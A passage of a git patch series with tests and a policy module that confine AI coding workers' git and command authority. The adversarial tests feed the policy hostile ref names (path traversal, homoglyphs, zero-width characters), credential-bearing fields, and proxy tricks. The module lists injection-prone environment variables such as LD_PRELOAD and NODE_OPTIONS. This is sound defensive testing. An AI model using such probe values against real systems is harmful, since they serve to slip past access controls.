'-m', 'merge', 'other']); + return parentCounts(root); +} + +export async function writeOctopusHistory(root) { + await initRepo(root); + git(root, ['checkout', '-b', 'one']); + git(root, ['commit', '--allow-empty', '-m', 'one']); + git(root, ['checkout', 'main']); + git(root, ['checkout', '-b', 'two']); + git(root, ['commit', '--allow-empty', '-m', 'two']); + git(root, ['checkout', 'main']); + git(root, ['merge', '--no-ff', '-m', 'octopus', 'one', 'two']); + return parentCounts(root); +} + +export async function writeDefaultBranchTarget(root) { + await initRepo(root); + await writeFile(path.join(root, 'tracked.txt'), 'lane\n', 'utf8'); + git(root, ['add', 'tracked.txt']); + git(root, ['commit', '-m', 'tracked']); + const defaultBranch = git(root, ['symbolic-ref', '--short', 'HEAD']).trim(); + return { defaultBranch, counts: parentCounts(root) }; +} diff --git a/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs new file mode 100644 index 0000000..b5d6e66 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs @@ -0,0 +1,182 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + MAX_HISTORY_COMMITS, + MAX_REF_BYTES, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyLaneHistoryV1, + classifyRefV1, + expectedLaneRefV1, + projectAuthorityEvidenceV1, +} from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + ASSIGNMENT_ID, + CONTENT_FREE, + MANIFEST_DIGEST_HEX, + RUN_ID, + operationRequest, + validIdentity, +} from './fixtures/r1-git-authority-fixtures.mjs'; + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false); + assert.equal(text.includes('https://'), false); + for (const extra of extras) assert.equal(text.includes(extra), false, `leaked ${JSON.stringify(extra)}`); + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +const laneRef = expectedLaneRefV1({ + run_id: RUN_ID, assignment_id: ASSIGNMENT_ID, manifest_digest_hex: MANIFEST_DIGEST_HEX, +}); + +test('parent-failing hostile policy probes deny namespace escape without echoing attacker bytes', () => { + const probes = [ + 'refs/heads/codex/run-abababababababab/../main', + 'refs/heads/main.lock', + 'refs/heads/foo@{bar}', + 'refs/heads/codex/run-abababababababab/lane-alpha/', + 'refs/heads/\uFF4D\uFF41\uFF49\uFF4E', + 'refs/heads/\u0430lpha', + 'refs/heads/codex/run-abababababababab/\u200Blane-alpha', + 'refs/heads/codex/run-ABABABABABABABAB/lane-alpha', + `refs/heads/${'a'.repeat(MAX_REF_BYTES)}`, + 'refs/heads/codex/run-abababababababab/LANE-ALPHA', + 'heads/main', + 'refs/heads/codex/run-ab/lane-alpha', + ]; + for (const ref of probes) { + const classified = classifyRefV1({ ref, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX }); + assert.equal(classified.protected, true, ref); + assert.notEqual(classified.code, 'authority_ok', ref); + assertContentFree(classified, [ref, '/tmp', 'https://']); + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'create_lane_branch', + ref, + })); + assert.equal(verdict.verdict, 'denied'); + assertContentFree(verdict, [ref]); + assertContentFree(verdict.message, [ref]); + } +}); + +test('proxy accessor symbol and unknown-key inputs fail closed without running caller traps', () => { + const { proxy, counts } = countingProxy(operationRequest({ ref: laneRef })); + assert.equal(errorOf(() => classifyGitOperationV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = operationRequest({ ref: laneRef }); + Object.defineProperty(accessor, 'operation', { + get() { throw new Error('accessor ran'); }, enumerable: true, + }); + const accessorError = errorOf(() => classifyGitOperationV1(accessor)); + assert.ok(['accessor_property_denied', 'invalid_type'].includes(accessorError.code), accessorError.code); + + const symbolKeyed = operationRequest({ ref: laneRef }); + symbolKeyed[Symbol('push')] = true; + assert.equal(errorOf(() => classifyGitOperationV1(symbolKeyed)).code, 'symbol_key_denied'); + + const unknown = operationRequest({ ref: laneRef, extra: true }); + assert.equal(errorOf(() => classifyGitOperationV1(unknown)).code, 'unknown_key'); +}); + +test('credential URL and remote-mutation material cannot bind as identity', () => { + const cases = [ + { token: 'secret-token' }, + { authorization: 'Bearer abc' }, + { credentials: { password: 'x' } }, + { push_url: 'https://example.invalid/repo.git' }, + ]; + for (const extra of cases) { + const error = errorOf(() => bindAuthorityIdentityV1(validIdentity(extra))); + assert.ok( + error.code === 'credential_content_denied' || error.code === 'unknown_key' || error.code === 'merge_authority_denied', + extra, + ); + assertContentFree(error.message); + } + const urlPath = errorOf(() => bindAuthorityIdentityV1(validIdentity({ + repository_path: 'https://example.invalid/repo.git', + }))); + assert.equal(urlPath.code, 'authority_identity_invalid'); + assert.equal(urlPath.message.includes('https://'), false); +}); + +test('unknown operations capability lies and actor mismatches fail closed', () => { + assert.equal(errorOf(() => classifyGitOperationV1(operationRequest({ + operation: 'squash', + }))).code, 'unknown_git_operation'); + + const posture = errorOf(() => classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + capability: { + merge_authority: 'provider_may_merge', + create_pr_posture: 'prohibited', + }, + }))); + assert.equal(posture.code, 'authority_posture_mismatch'); + + const cloudLocal = errorOf(() => classifyGitOperationV1(operationRequest({ + operation: 'read_only_inspect', + capability: { + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'non_authoritative_cloud_only', + provider: 'grok', + }, + }))); + assert.equal(cloudLocal.code, 'authority_posture_mismatch'); + + const platformCommit = classifyGitOperationV1(operationRequest({ + actor: 'platform', + operation: 'commit_on_lane_branch', + ref: laneRef, + })); + assert.equal(platformCommit.code, 'authority_posture_mismatch'); +}); + +test('bounds abuse of history arrays refs and keys is rejected', () => { + const hugeHistory = classifyLaneHistoryV1; + const tooMany = Array.from({ length: MAX_HISTORY_COMMITS + 1 }, () => 1); + assert.equal(errorOf(() => hugeHistory({ parent_counts: tooMany })).code, 'out_of_range'); + assert.equal(errorOf(() => hugeHistory({ parent_counts: [99] })).code, 'out_of_range'); + assert.equal(errorOf(() => hugeHistory({ parent_counts: [] })).code, 'out_of_range'); + + const longRef = `refs/heads/${'a'.repeat(MAX_REF_BYTES)}`; + const classified = classifyRefV1({ ref: longRef }); + assert.equal(classified.code, 'branch_namespace_violation'); + assertContentFree(classified, [longRef]); + + const bulky = operationRequest({ ref: laneRef }); + for (let i = 0; i < 40; i += 1) bulky[`k${i}`] = i; + assert.equal(errorOf(() => classifyGitOperationV1(bulky)).code, 'out_of_range'); +}); + +test('policy customization and evidence projection stay closed and content-free', () => { + const evidence = projectAuthorityEvidenceV1(classifyGitOperationV1(operationRequest({ + operation: 'push', + })), { fact_id: 'f-push', discrepancy_id: 'd-push', sequence: 3 }); + assert.equal(evidence.facts[0].fact_id, 'f-push'); + assert.equal(evidence.discrepancies[0].code, 'security_boundary'); + assertContentFree(evidence, ['refs/heads', 'https://', 'secret']); + assert.equal(errorOf(() => projectAuthorityEvidenceV1(classifyGitOperationV1(operationRequest({ + operation: 'push', + })), { fact_id: 'F-PUSH' })).code, 'invalid_format'); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-authority.test.mjs b/plugins/codex-co-engineer/test/r1-git-authority.test.mjs new file mode 100644 index 0000000..79cf921 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-authority.test.mjs @@ -0,0 +1,283 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { parseEvidenceDiscrepancyV1, parseVerifiedFactV1 } from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_AUTHORITY_POLICY_SCHEMA_ID, + GIT_AUTHORITY_POLICY_V1, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + GitAuthorityPolicyV1, + assertAuthorityPostureV1, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyLaneHistoryV1, + classifyRefV1, + expectedCandidateRefV1, + expectedLaneRefV1, + expectedRunBranchNameV1, + isProtectedRefV1, + isRunOwnedCandidateRefV1, + isValidRunBranchNameV1, + parseGitAuthorityPolicyV1, + projectAuthorityEvidenceV1, +} from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + CONTENT_FREE, + MANIFEST_DIGEST_HEX, + RUN_ID, + operationRequest, + parentCounts, + validIdentity, + withDisposableRepo, + writeDefaultBranchTarget, + writeLinearHistory, + writeMergeHistory, + writeOctopusHistory, +} from './fixtures/r1-git-authority-fixtures.mjs'; + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false, 'must not leak repository paths'); + assert.equal(text.includes('https://'), false, 'must not leak URLs'); + assert.equal(text.includes('git@'), false, 'must not leak hosting URLs'); + for (const extra of extras) { + assert.equal(text.includes(extra), false, `must not echo ${extra}`); + } + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +const laneName = expectedRunBranchNameV1({ + run_id: RUN_ID, assignment_id: ASSIGNMENT_ID, manifest_digest_hex: MANIFEST_DIGEST_HEX, +}); +const laneRef = expectedLaneRefV1({ + run_id: RUN_ID, assignment_id: ASSIGNMENT_ID, manifest_digest_hex: MANIFEST_DIGEST_HEX, +}); +const candidateRef = expectedCandidateRefV1({ run_id: RUN_ID }); + +test('GitAuthorityPolicyV1 is a closed frozen v1 policy and not a 4.0.0 major', () => { + assert.equal(GIT_AUTHORITY_SCHEMA_ID, 'codex-co-engineer.git-authority.v1'); + assert.equal(GIT_AUTHORITY_POLICY_SCHEMA_ID, 'codex-co-engineer.git-authority-policy.v1'); + assert.equal(GIT_AUTHORITY_VERSION, 1); + assert.equal(GIT_AUTHORITY_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(parseGitAuthorityPolicyV1(GIT_AUTHORITY_POLICY_V1), GitAuthorityPolicyV1); + assert.ok(Object.isFrozen(GIT_AUTHORITY_POLICY_V1)); + assert.ok(Object.isFrozen(GIT_AUTHORITY_POLICY_V1.default_branch_names)); + assert.deepEqual(GIT_AUTHORITY_POLICY_V1.default_branch_names, ['main', 'master']); + const customized = { + ...GIT_AUTHORITY_POLICY_V1, + default_branch_names: ['main'], + user_protected_ref_prefixes: [...GIT_AUTHORITY_POLICY_V1.user_protected_ref_prefixes], + }; + assert.equal(errorOf(() => parseGitAuthorityPolicyV1(customized)).code, 'invalid_format'); +}); + +test('credential-free identity binds without echoing the repository path', () => { + const bound = bindAuthorityIdentityV1(validIdentity({ head_sha: BASE_SHA })); + assert.equal(bound.repository_bound, true); + assert.equal(bound.base_sha, BASE_SHA); + assert.equal(bound.run_id, RUN_ID); + assert.equal('repository_path' in bound, false); + assertContentFree(bound); + const mutated = validIdentity(); + mutated.repository_path = '/tmp/other'; + assert.equal(bound.assignment_id, ASSIGNMENT_ID); +}); + +test('lane namespace generator and candidate ref stay git-ref-safe', () => { + assert.equal(laneName, `codex/run-${MANIFEST_DIGEST_HEX.slice(0, 16)}/${ASSIGNMENT_ID}`); + assert.equal(isValidRunBranchNameV1(laneName), true); + assert.equal(isValidRunBranchNameV1('codex/run-nothex/lane-alpha'), false); + assert.equal(isValidRunBranchNameV1('main'), false); + assert.equal(isRunOwnedCandidateRefV1(candidateRef, RUN_ID), true); + assert.equal(isRunOwnedCandidateRefV1(candidateRef, 'run-other-99'), false); + assert.equal(laneRef.startsWith('refs/heads/'), true); +}); + +test('own lane refs are writable; default and protected refs are not', () => { + const own = classifyRefV1({ + ref: laneRef, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX, + }); + assert.equal(own.ref_class, 'worker_lane'); + assert.equal(own.protected, false); + assert.equal(own.code, 'authority_ok'); + assert.equal(isProtectedRefV1({ + ref: laneRef, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX, + }), false); + + const main = classifyRefV1({ ref: 'refs/heads/main' }); + assert.equal(main.default_branch_target, true); + assert.equal(main.code, 'default_branch_target_denied'); + assert.equal(isProtectedRefV1({ ref: 'refs/heads/main' }), true); + + const master = classifyRefV1({ ref: 'refs/heads/master' }); + assert.equal(master.code, 'default_branch_target_denied'); + + const develop = classifyRefV1({ ref: 'refs/heads/develop', origin_head_branch: 'develop' }); + assert.equal(develop.default_branch_target, true); + assert.equal(develop.code, 'default_branch_target_denied'); + + const tags = classifyRefV1({ ref: 'refs/tags/v1.0.0' }); + assert.equal(tags.ref_class, 'user_protected'); + assert.equal(tags.code, 'protected_ref_write_denied'); + + const candidate = classifyRefV1({ + ref: candidateRef, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX, + }); + assert.equal(candidate.ref_class, 'platform_run_owned'); + assert.equal(candidate.protected, true); + assertContentFree(own); + assertContentFree(main); +}); + +test('worker commit on the lane is allowed; merge push create-PR rebase and tags are not', () => { + const commit = classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [0, 1] }, + })); + assert.equal(commit.verdict, 'allowed'); + assert.equal(commit.ref_class, 'worker_lane'); + assertContentFree(commit); + + const denials = [ + ['merge', 'merge_authority_denied'], + ['rebase', 'merge_authority_denied'], + ['create_pr', 'merge_authority_denied'], + ['merge_pr', 'merge_authority_denied'], + ['push', 'push_authority_denied'], + ['force_push', 'push_authority_denied'], + ['fetch', 'push_authority_denied'], + ['tag_create', 'protected_ref_write_denied'], + ['release_create', 'protected_ref_write_denied'], + ['credential_helper', 'credential_content_denied'], + ]; + for (const [operation, code] of denials) { + const verdict = classifyGitOperationV1(operationRequest({ operation })); + assert.equal(verdict.verdict, 'denied', operation); + assert.equal(verdict.code, code, operation); + assertContentFree(verdict); + } +}); + +test('Cursor Cloud create-PR posture still cannot create a PR in an R1 run lane', () => { + assertAuthorityPostureV1({ + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'non_authoritative_cloud_only', + provider: 'cursor-cloud', + }); + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'create_pr', + capability: { + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'non_authoritative_cloud_only', + provider: 'cursor-cloud', + }, + })); + assert.equal(verdict.code, 'merge_authority_denied'); +}); + +test('platform composition of the run-owned candidate is allowed and is not a merge', () => { + const verdict = classifyGitOperationV1(operationRequest({ + actor: 'platform', + operation: 'compose_candidate_non_authoritative', + ref: candidateRef, + history: { parent_counts: [1] }, + })); + assert.equal(verdict.verdict, 'allowed'); + assert.equal(verdict.ref_class, 'platform_run_owned'); + const worker = classifyGitOperationV1(operationRequest({ + actor: 'worker', + operation: 'compose_candidate_non_authoritative', + ref: candidateRef, + })); + assert.equal(worker.code, 'authority_posture_mismatch'); +}); + +test('linear history is allowed and merge histories are denied', () => { + const linear = classifyLaneHistoryV1({ parent_counts: [0, 1, 1] }); + assert.equal(linear.verdict, 'allowed'); + const merge = classifyLaneHistoryV1({ parent_counts: [0, 1, 2] }); + assert.equal(merge.code, 'merge_history_denied'); + const octopus = classifyLaneHistoryV1({ parent_counts: [3] }); + assert.equal(octopus.code, 'merge_history_denied'); + const rootMerge = classifyLaneHistoryV1({ parent_counts: [2] }); + assert.equal(rootMerge.code, 'merge_history_denied'); + const throughOp = classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [0, 2] }, + })); + assert.equal(throughOp.code, 'merge_history_denied'); + assertContentFree(merge); +}); + +test('disposable linear merge and default-target repositories feed the policy', async () => { + await withDisposableRepo(async (root) => { + const linear = await writeLinearHistory(root); + assert.deepEqual(linear, [0, 1]); + assert.equal(classifyLaneHistoryV1({ parent_counts: linear }).verdict, 'allowed'); + }); + await withDisposableRepo(async (root) => { + const merge = await writeMergeHistory(root); + assert.ok(merge.some((count) => count >= 2), `expected a merge parent count, got ${merge}`); + assert.equal(classifyLaneHistoryV1({ parent_counts: merge }).code, 'merge_history_denied'); + }); + await withDisposableRepo(async (root) => { + const octopus = await writeOctopusHistory(root); + assert.ok(octopus.some((count) => count >= 3), `expected octopus, got ${octopus}`); + assert.equal(classifyLaneHistoryV1({ parent_counts: octopus }).code, 'merge_history_denied'); + }); + await withDisposableRepo(async (root) => { + const { defaultBranch, counts } = await writeDefaultBranchTarget(root); + assert.equal(defaultBranch, 'main'); + assert.equal(parentCounts(root).length, counts.length); + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'create_lane_branch', + ref: `refs/heads/${defaultBranch}`, + default_branch: defaultBranch, + })); + assert.equal(verdict.code, 'default_branch_target_denied'); + assert.equal(verdict.default_branch_target, true); + assertContentFree(verdict); + }); +}); + +test('denied verdicts project content-free P13-compatible facts and discrepancies', () => { + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [2] }, + })); + const projection = projectAuthorityEvidenceV1(verdict); + const fact = parseVerifiedFactV1(projection.facts[0]); + const discrepancy = parseEvidenceDiscrepancyV1(projection.discrepancies[0]); + assert.equal(fact.fact_kind, 'git_identity'); + assert.equal(fact.status, 'failed'); + assert.equal(fact.method, 'merge_commit_absence'); + assert.equal(fact.authority, 'platform_git'); + assert.equal(discrepancy.discrepancy_kind, 'security'); + assert.equal(discrepancy.code, 'security_boundary'); + assertContentFree(projection); + const allowed = projectAuthorityEvidenceV1(classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [1] }, + }))); + parseVerifiedFactV1(allowed.facts[0]); + assert.equal(allowed.discrepancies.length, 0); +}); From 3857ba6bae31d92eac333a58ffc880856828d96c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 07:53:24 +0000 Subject: [PATCH 062/151] feat(verify): add trusted VerificationPolicyV1 schema and owner loader Define the versioned immutable command catalog that binds each stable command ID to an owner-authored absolute executable, fixed argv template, typed parameter domains, and explicit network, environment, mutation, timeout, and output policies. Absent capabilities materialize as exact default-deny receipts. Untrusted profile, manifest, and provider inputs may name a command ID and typed parameters only. This slice is data validation and owner-policy loading only. --- .../mcp/v3/trusted-verification-policy.mjs | 1193 +++++++++++++++++ 1 file changed, 1193 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs new file mode 100644 index 0000000..3a31f48 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs @@ -0,0 +1,1193 @@ +// VerificationPolicyV1 — versioned immutable trusted verification-policy +// schema plus the bounded owner-authored policy loader (ADR 0001 identifiers +// `verification_policy_v1_only_executable_catalog`, +// `codex_selects_approved_command_ids_only`, +// `manifests_carry_command_ids_not_argv`, +// `trusted_verification_policy_command_catalog`, +// `profiles_data_only`, +// `provider_commands_evidence_never_auto_executed`, +// `read_only_verification`, +// `gate_a_constrained_trusted_policy_command_execution`). +// +// Additive v3 module for W14-P16A. It owns one fail-closed question: is this +// a trusted owner-authored VerificationPolicyV1, or a command-id plus typed +// parameters selection that untrusted profiles/manifests/provider reports +// are allowed to name? It answers nothing else. This module never invokes a shell, +// never resolves PATH, never executes a command, never opens a network +// socket, never mutates a candidate, and does not implement the P16B +// approved-command resolver or the P16C runner. +// +// Owner policy binds each stable command ID to an absolute executable path, +// a fixed argv template, typed/bounded parameter domains, and explicit +// network, environment, mutation, timeout, and output policies. Absent +// capabilities materialize as exact default-deny receipts: no network, empty +// environment, no persistent mutation, and finite time/output caps. Identity +// is the validator-owned canonical snapshot, so omitting a capability and +// writing the deny receipt produce the same digest. +// +// Untrusted inputs may carry only `command_id` and typed parameters. Any +// executable path, argv fragment/template, shell text, environment name or +// value, network target, mutation permission, or resource limit is denied +// before values are interpreted. Failures are typed and content-free: they +// never echo attacker values, keys, paths, URLs, secrets, native messages, +// or stacks as diagnostics. +// +// Parsed results are fresh-owned, deeply frozen, detached snapshots. +// Callers' objects are neither mutated nor frozen. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { homedir } from 'node:os'; +import path from 'node:path'; +import { lstat, open } from 'node:fs/promises'; + +import { + capturedCreate, + capturedDescriptor, + capturedFreeze, + capturedGetPrototypeOf, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + COMMAND_ID_MAX, + MAX_TIMEOUT_MS, + MIN_DURATION_MS, + PARAMS_MAX_KEYS, + PARAM_VALUE_MAX_BYTES, + RunContractV1Error, + isCommandId, + isParamKey, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const VERIFICATION_POLICY_SCHEMA_ID = 'codex-co-engineer.verification-policy.v1'; +export const VERIFICATION_POLICY_VERSION = 1; +export const VERIFICATION_POLICY_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_POLICY; +export const VERIFICATION_COMMAND_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_COMMAND_DESCRIPTOR; +export const DIGEST_ALGORITHM = 'sha256'; +export const POLICY_DIGEST_HEX_LENGTH = 64; + +export const OWNER_POLICY_DIRNAME = 'codex-co-engineer'; +export const OWNER_POLICY_FILENAME = 'verification-policy.json'; + +export const MAX_POLICY_BYTES = 64 * 1024; +export const MAX_POLICY_DEPTH = 16; +export const MAX_POLICY_NODES = 1024; +export const MAX_POLICY_OBJECT_KEYS = 64; +export const MAX_POLICY_TOTAL_STRING_BYTES = 32_768; +export const MAX_POLICY_CANONICAL_BYTES = 65_536; +export const MAX_COMMANDS = 32; +export const MAX_ARGV_TOKENS = 32; +export const MAX_PARAMETERS = PARAMS_MAX_KEYS; +export const MAX_ENV_ENTRIES = 16; +export const MAX_NETWORK_HOSTS = 8; +export const MAX_ENUM_VALUES = 16; +export const MAX_EXECUTABLE_BYTES = 4096; +export const MAX_EXECUTABLE_SEGMENTS = 32; +export const MAX_ARGV_TOKEN_BYTES = 256; +export const MAX_ENV_NAME_BYTES = 64; +export const MAX_ENV_VALUE_BYTES = PARAM_VALUE_MAX_BYTES; +export const MAX_HOST_BYTES = 253; +export const MAX_PARAM_STRING_BYTES = PARAM_VALUE_MAX_BYTES; +export const DEFAULT_TIMEOUT_MS = 60_000; +export const DEFAULT_OUTPUT_BYTES = 65_536; +export const DEFAULT_ERROR_BYTES = 65_536; +export const MAX_OUTPUT_BYTES = 1_048_576; +export const MAX_ERROR_BYTES = 1_048_576; + +export const NETWORK_MODES = capturedFreeze(['allowlist', 'deny']); +export const MUTATION_WORKSPACES = capturedFreeze(['ephemeral', 'none']); +export const PARAMETER_TYPES = capturedFreeze([ + 'boolean', 'enum', 'integer', 'path_segment', 'string', +]); + +export const POLICY_ALLOWED_KEYS = capturedFreeze(['schema', 'version', 'commands']); +export const POLICY_REQUIRED_KEYS = POLICY_ALLOWED_KEYS; +export const COMMAND_ALLOWED_KEYS = capturedFreeze([ + 'argv_template', 'command_id', 'environment', 'executable', 'mutation', + 'network', 'parameters', 'resources', 'timeout_ms', +]); +export const COMMAND_REQUIRED_KEYS = capturedFreeze([ + 'argv_template', 'command_id', 'executable', +]); +export const COMMAND_RECEIPT_KEYS = capturedFreeze([ + 'argv_template', 'command_id', 'environment', 'executable', 'mutation', + 'network', 'parameters', 'resources', 'timeout_ms', +]); +export const UNTRUSTED_COMMAND_ALLOWED_KEYS = capturedFreeze(['command_id', 'parameters']); +export const NETWORK_ALLOWED_KEYS = capturedFreeze(['hosts', 'mode']); +export const ENVIRONMENT_ALLOWED_KEYS = capturedFreeze(['entries']); +export const ENV_ENTRY_ALLOWED_KEYS = capturedFreeze(['name', 'value']); +export const MUTATION_ALLOWED_KEYS = capturedFreeze(['persistent', 'workspace']); +export const RESOURCES_ALLOWED_KEYS = capturedFreeze(['max_error_bytes', 'max_output_bytes']); +export const STRING_DOMAIN_KEYS = capturedFreeze(['max_bytes', 'type']); +export const INTEGER_DOMAIN_KEYS = capturedFreeze(['max', 'min', 'type']); +export const BOOLEAN_DOMAIN_KEYS = capturedFreeze(['type']); +export const ENUM_DOMAIN_KEYS = capturedFreeze(['type', 'values']); +export const PATH_SEGMENT_DOMAIN_KEYS = capturedFreeze(['max_bytes', 'type']); +export const LOADER_OPTION_KEYS = capturedFreeze(['env', 'ownerConfigDir']); +export const LOADER_ENV_KEYS = capturedFreeze(['HOME', 'XDG_CONFIG_HOME']); + +export const DENIED_ENV_NAMES = capturedFreeze([ + 'BASH_ENV', 'CDPATH', 'ENV', 'GCONV_PATH', 'HOSTALIASES', 'IFS', + 'LD_AUDIT', 'LD_LIBRARY_PATH', 'LD_PRELOAD', 'LOCALDOMAIN', 'NODE_OPTIONS', + 'NODE_PATH', 'PATH', 'PERL5LIB', 'PYTHONPATH', 'SSLKEYLOGFILE', + 'SHELLOPTS', 'TERMINFO', 'TERMPATH', +]); + +export const VERIFICATION_POLICY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'ambiguous_id_denied', + 'control_character_denied', 'duplicate_id', 'duplicate_parameter', + 'env_name_denied', 'executable_content_denied', 'exotic_prototype_denied', + 'invalid_array', 'invalid_encoding', 'invalid_format', 'invalid_json_type', + 'invalid_json_value', 'invalid_type', 'missing_key', + 'mutation_permission_denied', 'network_content_denied', + 'non_enumerable_property_denied', 'own_undefined_denied', 'out_of_range', + 'placeholder_unbound', 'policy_catalog_changed_during_read', + 'policy_catalog_not_owner_controlled', 'policy_catalog_not_regular', + 'policy_catalog_too_large', 'policy_catalog_unreadable', + 'policy_options_denied', 'proxy_denied', 'resource_limit_denied', + 'shell_content_denied', 'symbol_key_denied', 'unknown_key', + 'value_depth_exceeded', +]); + +const PRIVATE_COMMAND_ID_PATTERN = /^[a-z][a-z0-9._-]{0,63}$/u; +const PRIVATE_PARAM_KEY_PATTERN = /^[a-z][a-z0-9_-]{0,31}$/u; +const PRIVATE_PLACEHOLDER_PATTERN = /^\{[a-z][a-z0-9_-]{0,31}\}$/u; +const PRIVATE_ENV_NAME_PATTERN = /^[A-Z][A-Z0-9_]{0,62}$/u; +const PRIVATE_HOST_PATTERN = /^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$/u; +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const PRIVATE_SEGMENT_PATTERN = /^[A-Za-z0-9._+-]+$/u; +const PRIVATE_LITERAL_PATTERN = /^[A-Za-z0-9._+/=:,@%-]+$/u; +const PRIVATE_PATH_SEGMENT_PATTERN = /^[A-Za-z0-9._+-]+$/u; +const PRIVATE_ENUM_VALUE_PATTERN = /^[A-Za-z0-9._+-]+$/u; + +export const COMMAND_ID_PATTERN = new RegExp( + PRIVATE_COMMAND_ID_PATTERN.source, PRIVATE_COMMAND_ID_PATTERN.flags, +); +export const PLACEHOLDER_PATTERN = new RegExp( + PRIVATE_PLACEHOLDER_PATTERN.source, PRIVATE_PLACEHOLDER_PATTERN.flags, +); + +const MESSAGES = capturedFreeze(Object.assign(capturedCreate(null), { + accessor_property_denied: 'An accessor property was denied; getters are never invoked.', + aliased_reference_denied: 'Aliased or cyclic references are denied.', + ambiguous_id_denied: 'Ambiguous Unicode, compatibility, or confusable identity text is denied.', + control_character_denied: 'Control, invisible, or bidi characters are denied.', + duplicate_id: 'A duplicate identity was denied instead of collapsed.', + duplicate_parameter: 'A duplicate parameter or placeholder binding was denied.', + env_name_denied: 'An environment name is outside the closed allowlist.', + executable_content_denied: 'Untrusted input must not contribute executable content.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + invalid_array: 'Arrays must be dense JSON arrays without extended metadata.', + invalid_encoding: 'Text must be well-formed NFC/NFKC Unicode.', + invalid_format: 'A field violates the closed grammar.', + invalid_json_type: 'A non-JSON value was denied.', + invalid_json_value: 'A non-canonical JSON number or value was denied.', + invalid_type: 'A field has the wrong JSON type.', + missing_key: 'A required field is missing; trusted policy has no hidden grants.', + mutation_permission_denied: 'Untrusted input must not contribute mutation permissions.', + network_content_denied: 'Untrusted input must not contribute network targets.', + non_enumerable_property_denied: 'Non-enumerable properties are denied.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + out_of_range: 'A bounded integer, count, or size was exceeded.', + placeholder_unbound: 'An argv placeholder is not bound to a declared parameter.', + policy_catalog_changed_during_read: 'The owner policy catalog changed while it was read.', + policy_catalog_not_owner_controlled: 'The owner policy catalog must be owner-controlled.', + policy_catalog_not_regular: 'The owner policy catalog must be a regular non-symlink file.', + policy_catalog_too_large: 'The owner policy catalog exceeds the bounded size.', + policy_catalog_unreadable: 'The owner policy catalog could not be read safely.', + 